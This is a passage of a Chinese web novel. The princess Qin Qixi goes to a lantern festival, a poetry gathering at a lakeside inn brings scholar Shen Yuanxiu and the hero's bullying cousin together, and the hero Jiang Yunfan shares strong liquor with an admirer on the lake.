“好看!”
确实好看。
这种上身襦下身裙的搭配,一般出现在普通士官家族的小姐,或是更高层级豪门的丫鬟身上。就好比此刻的青璇,就穿着一款与同型不同色的对襟襦裙。
但是很显然,同样的装束出现在不同的两个人身上,效果完全不同。
就连青璇自己都傻眼了,这还是她第一次见郡主穿这样的装扮,没想到依旧美得令人窒息。
“好看是好看,就是不太符合殿下的身份。”
墨羽从秦七汐身上收回目光,转而瞥了瞥青璇,不禁皱起眉头。
让殿下与这样的人穿类似的衣服,实在是有点委屈。
“不符合身份就对了!”
青璇果断站起身,一脸严肃,“王爷不是有令吗,最近江南并不太平,为保安全,郡主出门需要乔装打扮,切不可暴露身份!穿这样一身,恐怕没人能猜出是郡主本人吧?”
“真的吗?”
墨羽再度凝视秦七汐,眼中写满了无奈,“你觉得在这江南大地,还能找出第二个人,能有这样一张完美的脸?”
“……”
青璇沉默了,对于这话完全无法反驳。
就在这时,秦七汐终于一脸犹豫地开口:“青璇说得有理,父王确实有令,但是我……还是想穿得更好看一点。”
“?”
听到这话,堂中的两人满脸惊疑地相视一眼。
最后还是青璇嘴快:“难道这就叫做……女为悦己者容?”
第76章 客栈“诗酒之邀”
秦七汐试了好些时候,终于选定了一件大红色的宽袖束腰长袍。
那长袍表面的装饰与花纹并不多,材质也并非珍惜名贵之物,本与雍容华贵几个字无关。但此刻穿在郡主殿下身上,却格外气质出众,只一眼就能看出她的身份非凡。
除此之外,长袍的腰线处被巧妙地微微收拢,将她本就惊心动魄的腰臀曲线勾勒得愈发玲珑有致。
多一分则媚,少一分则寡,正是恰到好处的动人。
秦七汐又取来一顶纱幔低垂的白色小斗笠戴上,轻柔的白纱如云似雾,朦朦胧胧地悬于肩头,与背后那如墨瀑般顺滑倾泻的乌黑长发交相辉映,霎时间,仿佛将那画卷中的仙子模样,真真切切地具象化在了尘世之间。
之所以选择这件长袍,秦七汐给出的理由是,大红色鲜亮,正应了灯节的喜庆。
但以青璇的眼光来看,答案却更为直白:穿着这件衣服,最能凸显身段,也更有女人味。
“郡主以前出门,可从来不会这般拘泥于打扮……”青璇悄悄凑到墨羽耳边,压低了声音私语。
谁知那墨羽竟直接点头回应:“嗯,更不会特意准备新衣。”
“你二人当着面议论本郡主?”
“墨羽知错!”
冷面护卫的反应极快,立刻垂首认错。
反倒是青璇迟疑了那么一瞬,便彻底错失了机会。
“从今日起,这整座船楼上上下下的清洁事务,便全权交由青璇你来打扫了。”
“啊……”
青璇整个人都僵住了,脑海中瞬间浮现出这巨型楼船的庞大轮廓,这……这得有多大的面积?
当真是祸从口出,悔不当初。
秦七汐不再搭理她们,收拾收拾自己的装扮,便率先提步,款款走下了阁楼。
在王府楼舫的甲板上,她遇到了同样换了身新衣裳的沈远修。归雁大儒此刻正满面红光,看那精神劲儿仿佛一下年轻了十几岁。
“老师这么快就找到新书童了?”
秦七汐摘下斗笠的白纱,露出那张足以令天地失色的绝美容颜,迎上前去柔声打着招呼。
她的目光,落在了沈远修身后那位年龄约莫十四五岁的女孩身上。那女孩生得眉清目秀,皮肤白净,五官也颇为端正,只是那双清亮的眼眸深处,似乎透着一股与她年龄不符的桀骜不驯。
在大乾王朝,文风鼎盛,学识极受重视,男女皆可拜入儒门求师问道。因此,儒士身边的“书童”一角,也并无明确的性别要求,无论男女,皆可担此称谓。
“并非书童。”
沈远修闻言,捻须笑着摇了摇头,“这小姑娘是随行帮忙的,毕竟我这一把老骨头,总不能一直让堂堂郡主为我携笔磨墨吧?”
“如果老师需要,小汐自当时刻随侍在侧。”
“哈哈哈……你这丫头,我还不知道你?”
沈远修爽朗大笑,“你哪有一刻肯老老实实地待在我身边?今日上午若非是要去见那位江公子,我恐怕求你,你也不会扮那侍童。”
秦七汐白皙的脸颊上飞起一抹尴尬,不好意思地笑了笑。
确实,这种事情以前时常发生,哪怕是父王亲自下令让她跟着老师潜心学习,她也总是一刻都待不住,想方设法地溜走。
这时,沈远修收敛了笑容,沉声道:“老头子我心里清楚,郡主生性爱自由,我又怎会横加约束?至于这姑娘,乃是开阳侯府的三小姐,齐之瑶。前些日,开阳侯亲自将她送到老夫手中,得知老夫从不轻易收徒,便让她暂且留下,做些琐碎杂事,磨磨性子。”
听到沈远修的介绍,那名叫齐之瑶的女孩立刻上前一步,朝着秦七汐行了一个淑女礼:“齐之瑶见过郡主殿下!”
“……”
眼见此幕,秦七汐身后侍立的青璇顿时皱起眉头。
一丝愠怒自眼中闪过。
侯府小姐?
那又如何!
要知道,即便是京城那些声名显赫的公侯世家,其府上的嫡出公子小姐,在面见她家殿下之时,也必须依制行跪拜大礼!
从未有人敢像眼前这女子一样,仅仅是将手交叠在腰间,身体微微一蹲便算完事。
她究竟是无知于礼节,还是根本没有认清自己的身份地位?
“免礼。”
就在青璇气息微沉,打算开口呵斥的瞬间,秦七汐朝着对方抬了一下手。那平淡的语气,也让青璇即将发作的动作生生止住。
郡主殿下的目光并没有在齐之瑶身上多做停留,她转头看向沈远修,谈起了正事:“老师此行,是去县城看灯会,还是去饮酒的?”
沈远修轻抚胡须:“灯会我早就看腻了,倒是听你们说起江公子酿的那美酒,是真想尝一尝。”
“那正好,我们可以一同前往秋思客栈。”
沈远修点点头,他也是如此想的。
毕竟郡主身份特殊,近来江南之地又不算太平。此次镜湖文会,**在镜源县的,多是各地的显赫贵族,说不定就有人曾经见过郡主,从而认出其身份。
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若能一同出行,以他“归雁”的名气,也能为秦七汐吸引走绝大部分的注意力,确保她的安全。
一行人商议已定,便沿着湖畔的青石堤岸,一路向城区步行而去。
王府的首席守将严横,亲率二十名精锐部下,早已乔装成农夫、行商等各色人等,或远或近地散布在秦七汐周围,形成一张无形的保护网。
这些人无一不是身手不凡的武者,尤其严横本人,更是踏入了武道一品境界的顶尖高手。
纵观整个大乾王朝,一品高手的数量也不过三十余人。
他们每一位都是威名赫赫、足以震慑一方的存在。有一品高手在的地方,寻常的蟊贼宵小,恐怕连生出歹念的胆子都没有。
王府楼舫停靠的码头,距离秋思客栈不过一刻钟的脚程。
但此时,已然有人先他们一步抵达了。
江元勤与程修齐二人,依据许灵嫣的指引,几乎没花费多少工夫,便寻到了客栈的所在。
“当真是风雅高洁之所,只看这房屋的装潢布局与这临湖而立、半隐于林的环境,便足以窥见主人的不凡品味。”
远远相隔尚有数十步,江元勤便望着那座静谧的临湖客栈,给予了极高的评价。
他之所以如此断言,原因无他,能让归雁先生那等超然的大儒,在万灯节之夜,舍弃那繁华热闹的灯会不顾,转而专程前来此地,这里就必然有它的奇妙与过人之处。
前方,程修齐加快了脚步,在客栈大门外的路口处,留意到一张悬挂在木柱上的别致牌匾。
“你别说,这客栈虽小,今晚却有一场‘诗酒之邀’的盛会。告示上说,文人墨客皆可登台,以诗会友,交流词作,胜者还能赢取各类奖励。”
听到这话,江元勤也好奇地走近一看。
那张古朴的黑色牌匾上,确实用白色的笔迹书写着这样的信息。看来,就如同灯会上的明灯桥一般,今晚这秋思客栈,也会有一场精彩的文学盛宴。
这是件好事!
江元勤暗自心喜,他深知自己在王府楼船上吃了暗亏,颜面尽失,正愁无处施展才华,挽回声誉。今日此处的诗会,归雁先生又恰好会到场,这不正是上天赐予他的一个绝佳机会吗?
怀着这样的心情,江元勤当即整理衣冠,昂首阔步,意气风发地走进了客栈大门。
然而,他才刚刚踏入,视线扫过堂内,便看见了一个无比熟悉的身影。
“江滢?”
“你怎么在这里!”
……
第77章 江云帆,他也在这?
经过下午的一番调整,秋思客栈已经一改平日的布局。
因为修建之初地势不平,大堂高度不一,其中一部分相较平地高出二尺,原本是建好木梯,摆下七八张小桌。
而今日,白瑶按照江云帆的规划,撤走上面所有餐桌,把那处高地改造成了一个平台。
食客旅人皆就座于台下,而台上的空间,则专门提供给到场的才子们吟诗作对。
为此,白瑶也听从了江云帆的建议,为众人诗词比拼的结果,提供不同程度的奖项,其中包括新推出的茅台酿、罕有的鸡精面,以及今夜免单等奖励。
除此之外,还让人将这消息传播出去,以吸引更多的文士前来。
在大乾,诗词歌赋是毫无疑问的流量密码。
江滢最终还是没有同江云帆一起去看灯会。她确实有很想买的东西,恰好白瑶给她开的工钱也不低。
这会大堂的客人还不多,她正悠闲地帮忙端茶送水。
然而突如其来的这一声呼喊,惊得她险些打翻面前的茶盏。
慌乱之下,江滢回头看去。
只见自客栈的堂门口,一道身着蓝色锦绣长衫的男子,正迈步朝着这边走来。
那张脸,是她这辈子最不想看到的面孔之一。
江滢的呼吸几乎停止了片刻。
直到江元勤脸色阴沉地走到自己跟前,冷冷开口:“祖母身体不适,你不留在家中伺候,跑来此地做什么?”
江滢看着这张脸,怯生生地缩了一下本就瘦弱的身体。
“二……二哥。”
刹那之间,一些噩梦般的回忆,就像汹涌的海潮一般卷上来,让江滢仿佛又回到了曾经一次次被欺凌的时候。慌乱之下,她的身体竟开始微微颤抖起来。
“问你话呢!”
江元勤猛地抬高了声音,吓得江滢连连后退。
其实在踏进客栈之前,江元勤就已经给自己定好了人设。来此高雅之地,又要见到归雁先生这样的大儒,他一定要时刻保持风度,将内敛儒雅贯彻到底。
可在见到江滢的第一眼,他便不受控制地想要斥责两句。
这是一种习惯。
恐慌之中,江滢答不上话,唯有身体的颤抖作为回应。
这也是她的习惯,以前江元勤在欺负她的时候,她越是开口说话,对方就会揍得越狠。
“两个大男人,欺负一个小女娃,算什么东西!”
江元勤正欲上前一步,却忽然听到身后传来一道苍老而冷傲的声音。
随即,一位农人模样,身着粗麻布衣、头戴稻荆草帽的老者,猛地一蹭他和程修齐的肩膀,从两人中间硬生生挤了过去。
程修齐被挤得一个趔趄,险些摔倒。
站稳之后当即一怒,伸手指向那老农:“怎么说话你……”
话没说完,便被旁边的江元勤猛地推了一下肩膀。
“嘘!”
江元勤做了一个噤声的手势,眼睛却死死盯着那老农的背影,“今日到这来的人多数不凡,在搞清楚对方身份之前,千万不要轻易得罪。”
“可他不就是个乡农?”
“没那么简单……”
江二少此刻心里很没底。
方才那老农经过时,他只在侧面看见了对方的脸。
粗糙干燥,风霜痕迹明显,确有可能就是一个农人。但他走路时昂首挺胸,说话时傲慢无畏,这绝不该是一个乡野村夫应该有的气质。
或许,是隐居在某一方的大儒。
江元勤缓缓收回思绪,再度将目光移到了江滢身上。
然而就在此时,一道身着紫色襦裙的身影出现,拦在了他与江滢中间。
“这位公子,你若是打尖住店,或是
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来参加诗酒会的,便自寻空桌落座,不要大声喧哗。如果不是,那便请你立刻离开!”
白瑶的声音很冷,眼神也十分坚定。
她知道,今日能被诗酒的名头吸引来的客人,必然不是普通的凡俗书生。照以往的习惯,面对这种身份不简单的人,白瑶多半会一忍再忍。
可现在不一样了。
江滢是小帆的妹妹,如果在自己眼前被人欺负,她要如何向小帆交代?
“……”
江元勤立马便注意到眼前的女子,目光在对方脸上停留了许久,整个人也微微有些发愣。
好生美丽的女人!
且不说那张精致的面庞和白皙的皮肤,光是那婀娜婉转的体姿,就不知能引得多少人为之惊叹了。
果然,这家客栈很不简单,其中竟藏着一位如此熟媚娇俏的佳人……
白瑶自然也注意到对方的目光,脸上闪过一丝不悦。
她继续就着刚才的话题,冷冷道:“我是这家客栈的老板娘,滢滢在此勤工,公子若是看不惯,就请出门右转。”
“老板娘不要生气。”
江元勤正要开口,却被身旁的程修齐抢先一步。
程公子舔着一张大脸,笑容里尽是谄媚:“我二人正是来参加诗酒会的,你放心,绝不**!”
白瑶瞥了他一眼,没有答话,转而目光投向江滢,开口问道:
“滢滢,他们是谁?”
有了白瑶保护,江滢稍微缓和了几分情绪,但还是尽力压低声音:“是我和哥哥的堂兄,江元勤。”
听到这话,白瑶顿时神色一黯。
接着转过头,双眼直视江元勤:“你就是小帆的堂兄?”
“小帆?”
江元勤愣愕片刻。
随即迅速回过神来,眉头一皱:“江云帆?他也在这!”
……
第78章 大人物是归雁先生
江元勤本以为江云帆早已经**。
他听闻老爷子那日大发雷霆,亲手杖打江云帆,下手几乎是使出了全力。
要知道祖父虽然年迈,但怎么说也是一位七品高手,力量远胜常人。
所以江云帆被打得满身是血,惨叫连连,听说最后是爬着出去的。
当时正值深夜,医馆打烊,诊铺关门,那样的伤势,以江云帆的体格,能活到第二天都是天运。
就算侥幸没死,也总得留下个伤残遗症。这对于本就无能的江家三少爷来说十分致命,最后注定只能落得个饿死街头的下场。
可万万没想到,这家伙居然真的活着来了镜源县。并且,似乎和眼前这位成熟美艳的女子关系很不错。
想到这,江元勤立马神色严肃起来。
目光带着几分关切地看向白瑶:“在下确实是江云帆的堂兄,老板娘可知他人现在何处?”
“与你无关。”
白瑶的声音依旧很冷,甚至眼神里还带上了几许厌恶。
按照平时的做法,她作为客栈老板娘,对待客人必然十分热情,哪怕看不惯对方。
可今天不一样,站在面前这个人是江云帆和江滢的堂兄。这两天白瑶听江滢提到过,这位堂兄为人十分不善,可以说把他俩是从小欺负到大。
别的事情可以不在乎,但关于江云帆,她态度很明确!
冷冷说完这一句,白瑶便果断拉上江滢,转身去了客栈的后厨。
江元勤呆呆地看着两人离开,愣了片刻。
“这江云帆……到底怎么回事。”
他有点想不明白,眼前这位漂亮老板娘,明显是与江云帆站在同一条战线上的。
可这凭什么?
江云帆是个什么货色,整个凌州城都知道,竟然会有人愿意站出来维护他?而且还是个如此美艳的女人!
在来镜源县之前,父亲让他留意江云帆的下落。
江元勤当时是拒绝的,认为江云帆根本不配自己浪费时间。
现在他倒反而想见见这小子了。
一来想看看这人当初遭受杖责之后,如今变成了什么鬼样子。二来,他也想知道,江云帆到底经历了什么,能忽然与此般佳人走得如此近。
“元勤!”
就在这时,旁边的程修齐忽然开口喊了一声,“快别神游了,来了来了!”
“谁来了?”
江元勤回过神来,目光顺着程修齐的视线看过去。
只见客栈的大门口,三道身影正快步迈入堂中,直直地朝着这边走来。
江元勤顿时神色一怔。
那三人分别是一位体态微胖、面带笑容的老者,一位身着粉色锦裳、目光桀骜的稚嫩少女,以及一位面色冰冷、怀中负剑的黑衣女子。
黑衣女子他从未见过,但粉裳少女却曾有过一面之缘。
对方乃是京城开阳老侯爷的孙女,齐之瑶。
而那位老者,他也曾在国经院一次大型讲学会上见过。对方正是他此行要找的人——归雁先生,沈远修!
“晚辈见过归雁先生!”
江元勤匆忙上前,对着沈远修果断一个弯腰鞠躬,态度极尽谦卑。
程修齐见状,也连忙上前,行了一礼。
沈远修定了定神,伸手示意两人免礼。他将目光落在江元勤身上,好奇开口:“这位公子是?”
“回先生,晚辈乃是凌州江家长房之子,江元勤是也。”
“原来是当朝新科进士!”
沈远修满脸赞赏地点了点头,随即又露出几分遗憾,“凌州讲学推延一事,老朽深表歉意,实在是本次镜湖文会出了那首惊绝之词,让老头子我无法自制。”
“晚辈惶恐。”
江元勤又作了一揖,“关于文会之上那首词,晚辈也有所了解,实乃千年难遇之佳作!先生被其吸引,正表明您追崇的乃是文学的最高境界,值得我辈学习。”
“而今日实在意外,竟然能在这临湖客栈之中遇到先生,当真是万般幸运!”
听着江元勤的吹捧,沈远修哈哈一笑,脸色稍微沉了几分。
眼前这人,很会说话。
明明与江云帆那小子一样,都姓江,可性格作风却完全不同。
一个淡然洒脱,无惧规则。而另一个,则处事
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圆滑,行为讲究。
与江云帆聊天,仿佛整个世界都无高低之分。而与江元勤聊天,则能有一种备受尊敬的感觉。
沈远修还是喜欢江云帆那样。
更自在,更真实。
“既然江公子也是来参加诗酒会的,那待会不如一同落座吧。”
“荣幸之至!”
江元勤第三次弯腰鞠躬,随后又朝沈远修身后的两名女子各自行了一礼。
齐之瑶笑着与他打了个招呼。
而墨羽则迈动脚步,同他擦肩而过,仿佛压根就没注意到这个人。
她是奉了郡主之令,护送归雁先生先行前来客栈。按照归雁先生的意思,郡主不宜先至,至少得确定周遭安全了再说。
所以墨羽此刻就只做一件事,那就是侦查这客栈上下的环境。
几人一同步入正堂。
很快,堂中早来的客人注意到这边的情况,一个个纷纷伸长脖子。
忽然有一人惊呼出声:“那……那可是归雁先生?”
“还真是归雁先生!今日万灯节,他怎么会到这小小的临湖客栈来?”
“早说这客栈不简单,没想到居然能请来沈先生!”
“……”
堂中喧哗声四起。
在场多为江南文人,在他们心中,归雁先生便是名副其实的文坛领军人,他们做梦都想见一面的存在。
哪怕只是见上一面,聊上一句,都能成为与旁人吹嘘的资本。
只奈何,多少人等在归雁先生的门前数日,也终不得见。
可今天,他们不过是听到了风声,说这秋思客栈晚间有诗酒盛会,便想着来交流诗词。
没想到,竟然能有这样的惊喜!
一时间,众人纷纷围了过来,相互簇拥,都只为与沈远修说上一句话。
而与此同时,刚从厨房走出来的白瑶,在听到这些呼声后,整个人呆在原地。
她当然知道归雁先生是谁。
只是没想到,小帆早早便说今晚有大人物造访,这个大人物竟然是归雁先生!
他是如何提前知道的?
难不成……对方是为他而来!
第79章 她想叛逆一次
随着沈远修的到来,秋思客栈迎来了一波沸腾的热潮。
那些文人才子们个个精神振奋,各自报上家门,都妄求能够得到归雁先生的一抹青眼。
若是谁能同对方说上一句话,当即便欣喜若狂。
与此同时,归雁大儒出现在秋思客栈的消息,也被有心人传了出去。时间没过多久,便有陆陆续续的人闻讯前来拜谒。
客栈的大堂无比热闹。
但此时此刻,在前堂与后厨之间,一处隔着墙壁的狭角之中。身披粗布衣衫的老者正独自坐在小桌前,目光扫过堂内,在接触到那个略显胖硕的身影后,又迅速转过头去。
“江云帆这小子,让我来喝酒,却没说会来这么多人啊?”
季云苍眉头紧皱,那张满是岁月苍凉的老脸上,闪过一抹紧张。
他抬头,恰好看见端着茶水经过的店员小李。
便连忙伸手将其拦住:“小兄弟,听闻你们客栈今日有免费的酒水品饮,可否为我上个一壶半盏?”
他现在的想法,就是来都来了,那得把该喝的酒喝完,然后赶紧走人。
可殊不知,小李脸上当即闪过一抹怪异:“你这老头实在无礼,真当客栈在做布施?今日这酒饮十分珍贵,唯有比试了诗词文赋才有资格品尝,你这样子……就别凑热闹了。”
小李瞥了季云苍一眼,连连摇头。一个乡野老农,谈什么题诗赋词?
“诶你这小子……”
季云苍本想与对方理论,但一转眼那小李便已经走进了前堂。
没办法,只得**下来。
反正他来都已经来了,花了时间,也废了精力,今天无论如何都得喝到那杯酒!
很快,客栈里的诗会开始了。
不断有人上台,将自己毕生所作最好的诗词,或提笔书写,或高声朗诵出来。凡是上台的才子文人,都表现得十分卖力,所有人都想得到归雁先生的关注。
至于作品的优劣,本意是让众人共同评判。也因为沈远修的存在,他的点头或者摇头,便成了是好是坏的唯一标准。
然而,令所有人目光汇聚的归雁大儒沈远修,此刻却有些心不在焉。
他时而回头,时而左顾右盼,却始终见不到江云帆的身影。
同沈远修一样,墨羽借着所有人**前堂的机会,逛遍了客栈的每一个角落,没有发现潜在的危险,却也没有发现江云帆的踪迹。
她迅速退出客栈,在河畔的青石板路上找到秦七汐。
“殿下,我已经检查了客栈各处,一切正常。”
“那快走吧。”
秦七汐原本也有些等不及了,听到这话立马迈动脚步,往秋思客栈快步走去。
可谁知墨羽的声音缓来一步:“但是江云帆不在客栈。”
“……”
小郡主当即顿在原地,一脸疑惑地回头,“那他在哪里?”
“听客栈的小厮说,好像是去看灯会了。”
“看灯会……”
秦七汐抬头北望,望向那霭霭暮色下,逐渐被灯火染红的镜源县城。
诚然,远近闻名的万灯节,确实绚烂无端。
秦七汐自由生活在王府之中,离开那森严院墙的次数,可谓少之又少。
而这一回,同样是她首次来镜源。
她还从来没有看过灯会……
“走吧,我们也去看灯会。”
秦七汐说完便朝县城走去,丝毫不给身后两人反应的时间。
青璇连忙跟了上去,边走边劝说:“郡主,万灯节之际,城中的游客有数万人之众,咱们上哪去找江云帆?”
“没错,而且这城内鱼龙混杂,恐有危险。”墨羽也紧随其后。
然而秦七汐丝毫不予理睬,脚下的速度也完全没有放缓。
她当然知道,如果江云帆真去看灯会了,那么今晚再想见到他
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,恐怕有些困难。她也知道人太多,自然而然便会有更多不安全的隐患。
甚至,如果执意前往,还很可能会遭到父王的责备。
可她还从来没有叛逆过啊。
秦七汐也曾有过向往,向往别人可以无忧无虑,不受千万教条的约束,更不用担心只要出门就会有生命危险。
但她从未反抗这一切,因为她觉得反抗也不过是追求一时放纵,没有意思,也毫无意义。
但今天不一样了。
早晨在月亮湾的湖畔,她在如此近的距离下见到了那个少年。看到他迎着朝日的霞光,散漫自在地看天。
秦七汐方才明白,江云帆所过的生活,正是她从未体验过的拜托约束、无忧无虑。
当一个人真正自由自在的时候,感受到的唯有逍遥。
江云帆是叛逆的。
叛逆的是这天下的墨守成规。
所以,秦七汐也想试着叛逆一次……如果,能在灯会上遇到叛逆的他,那就更好了。
……
此时,正被小郡主惦记着的江三少爷,正划着一叶小舟,在离岸不远处的湖面上悠然滑行。
他要去的地方,是镜源县的二号码头。
那里正好位于明灯桥下,靠近镜河的入湖口,也是本次灯会最为繁华热闹的地点之一。
为了欣赏万灯节这难得一见的奇美景致,江云帆还特地将他的无人机装进了背包,准备来一场全方位的航拍。
毕竟欣赏美,也是享受生活中重要的一环。
当然,他也没有忘记自己此行的真正目的——
此刻在系统空间里,正躺着一个传说级的神秘礼盒,乃是他升级商城时通过抽奖所得,里面装着超级丰厚的奖励。
想要将其开启,就必须消耗10000点情绪值。
而今夜万灯节,便是高速积累情绪值的绝佳机会,一旦错过,就不知还得等多久了……
第80章 又见**公子
明月渐升,湖水空阔。
此刻的镜湖方应了其名,宛如一面巨大的明镜,将头顶的星空与月色尽数倒映其中。
那艘漫游的小舟,自湖上孤独徜徉而过,又恰似翱翔在夜空。
江云帆放下了桨,仰面躺倒在船舱中。
感受着着夜风带来的丝丝凉意,他伸出一只手,轻轻触碰湖水,在水中荡出一缕细浪。
此时天空彻亮,湖水同明,远处还有闪耀如辉的灯会。
如此情景,当真能让人把一切都放空。
就好比江云帆现在,他享受着眼下的静谧,任由徐徐清风推着船缓慢前行。
他不在乎船会飘到哪,不在乎能否赶上那繁华热闹的灯会,也不在乎自己能否赚到足够的情绪值,只想无忧无虑安睡在这小船中……
然而,现实却总难遂人愿。
就在江云帆在船上“躺平”后不久,原本平静的湖面荡起了层层圈波,波浪将那倒映的银白夜空击碎,散成了凌乱的微光。
手指察觉到湖水的波动,他心生警觉,连忙坐起身来。
“我去……”
江云帆知道,镜湖之所以叫镜湖,那是因为此地常年无大风,故而水平如镜。一旦出现激烈的波浪,那么只可能有一个原因——有大船来了!
果不其然,他起身的那一刻,迎面便看见一艘体型硕大的平板渔船。
那船足有九丈余长,船面宽敞,横在水面足以遮蔽大片的湖光。
虽比不过王府楼舫那般雄伟,但相较于普通的小船来说,已算得上是巨无霸了。
江云帆自然认得这船,在镜源县的湖岸边并不罕见,当地渔民联合远航捕鱼,基本都会驾着这种大渔船。而有时运业繁忙,也会被征集起来当作客船,负责在县城周围的几大码头之间进行人员运输。
今日正值万灯节,游客云集,这大渔船显然是用来拉人了。
见那庞然大物正朝这边驶来,眼下相距已不足三十步。江云帆立马提起船桨逆划,控制小舟减速。
那玩意儿体型大,重量也大,故而惯性十足。
一旦撞上,他这一叶扁舟搞不好就得翻了!
稳住船身后,江云帆抬头看那渔船上,正密密麻麻站着许多人。多半是在城外上船,走水路去看灯会的游客。
而就在他扫视一圈之后,很快便皱起了眉头。
因为在那人群当中,他看到了一个十分眼熟的人——一位衣着黑色长衫,目光深沉,即便身体随船晃荡也依旧保持着文人儒雅的富贵公子。
居然是杨文炳!
果然,人一旦有缘了,哪怕是在茫茫湖水之上,也能碰巧凑到一起。
江云帆率先发现了杨文炳,而杨文炳眼神也好,在转过头的瞬间便看见了湖上的小船,以及小船上那道孤单而又独特的身影。
“!”
原本因为渔船拥挤而有些烦闷的**公子,忽然瞪大双眼,整个人呆愣原地。
他定睛一看,未能看清江云帆的脸。
但那道身影,和那艘飘荡的小船,一瞬间便与镜湖文会那晚的湖上小舟完美重叠在一起。
是他!
杨文炳无比确定,对于这道身影,他想他今生都不可能认错。
“彦兄!”
他快速从人群中挤出,一脸兴奋地来到船沿,扶着船边的栏杆大喊:“彦兄,果真是你!”
此时此刻,杨文炳的内心已然沸腾起来。
他一路舟车从凌州赶来,只为寻找那日在湖畔一别的少年。
甚至原本都已经做好见不到的最坏打算。可万万没想到,不愿凭借贵族特权入城,转而选择走水路,反倒阴差阳错,让他在湖上遇到了自己想见的人!
这简直就是天意!
江云帆被喊得心里直咯噔。
说实话,他对杨文炳的印象还不错。身为贵族,架子却不大,为人也谦逊有礼,眼里只有对诗词的执着,这种人,其实非常适合成为朋友。
但对方和他始终不是一个层级的人。
与不属于自己圈子的人交朋友,只会扩大自己的交际范围。一旦认识自己的人多了,就会有源源不断的麻烦找上门,那样非常不利于躺平享受。
“彦兄……几日不见,彦兄过得可好?”
杨文炳越喊越大声,语气也越来越殷切。
江云帆自知在这湖上,想跑
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也无处可跑,如果装作不认识,显然又失了礼数。
索性不想太多,坦然回应道:“甚好,杨兄今夜这是忽生雅兴,登船游湖?”
“我方才从凌州过来,本打算乘船进城……”
杨文炳一边说,又一边挪动脚步,很快便来到船尾,“却不曾想,今夜这般幸运,竟能在湖上遇见彦兄!彦兄,可否将船靠拢些?”
此刻他与江云帆相距不过二十步,但仍觉得太远。
江云帆搞不懂他要做什么,满心疑惑,但也没有拒绝。
他划动船桨,将小舟催动到大渔船的船尾下方。
两人近距离相见,杨文炳明显更激动了:“彦兄这是何往?”
“去城里看灯会。”
“正巧我也要去,这大船入不得港口,彦兄可否载我一程?”
听到这话,江云帆不禁眉头一皱。
这人怎么还想蹭船?
也罢,既是游乐,有人同行也无妨。毕竟享受生活从来都不是追求孤独,若有聊得来的人同行,倒也多了几分乐趣。
他又将小船靠拢了几分,让另一侧的船板悬于大船的竖梯之下。
杨文炳见状也不犹豫,翻身越过围栏,顺着竖梯爬下,稳稳踏上江云帆的小船。
随即两人各自提上一把桨,迅速将船划向远处。
杨文炳脸上喜意未消,他看向月色弥漫的湖面,忍不住笑道:“今夜湖面平静,月光清凉,虽不如文会那晚一般热闹,但也别有几分雅致。”
说完便从湖中揽起一捧水,一口饮尽。
“哈……”
清凉爽快!
他喝水不为别的,单纯就是口渴。
喝完一口还不禁感慨:“此间美景实在难得,可惜没有美酒作伴,否则当是人生惬事!”
“谁说没有美酒?”
江云帆微微一笑,从船板之下拿出了两个小酒坛,递出其中一个给杨文炳,“杨兄,尝尝。”
“当真有酒!”
杨文炳喜出望外,哈哈一笑,伸手将那封口打开。
但就在酒香飘出的瞬间,**公子原本兴奋的目光,直接呆滞了。
“这酒……”
……
第81章 但少闲人如吾两人耳
这酒,自然是江云帆的茅台酿。
下午往客栈运酒时,他特意留了两坛带在船上,就想着晚上一边观景,一边小酌。
谁知巧遇杨文炳,倒是有人可以同饮。
“多谢彦兄款待,我先敬一杯!”
杨文炳止住眼中兴奋,提着酒坛,仰起脖子便大饮一口。
可谁知一口香浓入喉,他立马就感觉不对劲。
这酒,香醇,浓烈,韵味悠长,比江南名酒四季春纯正数倍,可以说如此美妙的感觉,还是杨文炳第一次从一口酒中体会到。
但它未免也太上头了!
杨文炳酒量不差,不过平日基本都是细酌慢饮,今天见到彦公子,一高兴,便冲动了。
此刻他只觉得腹中火热,头脑发胀。
这酒的烈度绝不是一般酒酿能够相提并论的!
彦兄是从何得来如此好酒?
【叮,震惊达成,来自杨文炳的情绪值:+76!】
系统提示音自脑中响起。
江云帆不禁咧咧嘴,内心一阵无语。
就前几次对杨文炳造成的震惊来看,对方提供情绪值的奖励倍率并不低,可眼下这坛茅台酿,却仅仅只换来了76点。
属实有点吝啬了。
看来相比于美酒,杨文炳对诗词的追求还是要更强烈一些。
“来,我陪一杯。”
尽管没有杯,江云帆还是举起了酒坛,杨文炳也顺势与他一碰,随即又十分耿直地大饮一口。
很快,**公子就已经晕乎乎了。
但他依旧保持着最基本的清醒,并没有忘记自己此行的目的。那就是要让彦公子承认,那首在王府楼船之上炸响的绝妙之词,是他所写!
“彦兄你看那湖上……”
杨文炳伸手一指,目光落向远处的湖面,正是上次镜湖文会时,王府楼舫停泊的地方。
尽管此时万灯节如火如荼,但那里此刻依旧有不少的船只停留。
“那处湖面不算宽阔,风景也不算瑰丽,可谁又能想到,就是这样一个地方,竟诞生出了大乾王朝迄今为止,最惊世骇俗,最美妙绝伦的一首词!”
在杨文炳心中,那首“东风夜放花千树”,已然是他所听过见过所有名诗好词中,排名榜首的存在。
说完这话他便回过头,想看彦公子脸上的神色变化。
可谁知,江云帆的表情依旧古井不波。
“所谓美妙绝伦,或许仅仅只是一个开端。”
他一脸平淡地看向杨文炳,“也许自那首词后,还会有更多、更妙的诗词横空出世……这世界缺少的永远不是文章,而是人的感悟。”
“人的……感悟?”
杨文炳喃喃地将这四个字重复了一遍。
是啊,诗词不过是感悟的载体,人对世界的理解越透彻,写出的诗词便会越精妙,他之所以崇拜文会那首词,不正是因为崇拜“灯火阑珊处”那份孤独和桀骜吗?
彦公子能说出这番话,显然不是只会捕鱼抓虾凡俗之子。
想到这他急忙说道:“今日夜景万般怡人,不知彦兄可有感悟,能否与在下一起,为之赋诗一首?”
看着杨文炳恳切的目光,江云帆眯眼一笑。
这小子,又想套他?
“恕在下愚昧,悟性不佳,或许需要历经数年才能悟出半句诗,实在没有能力与杨兄同乐。”江云帆抱拳致歉。
杨文炳自知无法规劝,只得长叹一声:“唉……”
他提着酒坛,颤巍巍从船上站起。继而抬头望月,背影苍凉。
“实不相瞒,我三番五次叨扰彦兄,只是为了确认一件事。”
许是因为烈酒灼喉,此刻杨文炳的嗓音显得有些沙哑。
但他回头之时,眼神却格外真诚:“我想找到写下那首词的人。我不想让一颗稀世珍宝,永远找不到它的归属,不想那首词在录入乾文阁的时候,既无题也无作者,更不想大乾后世万千学子,连自己本该信仰的明灯都看不见!彦兄啊……”
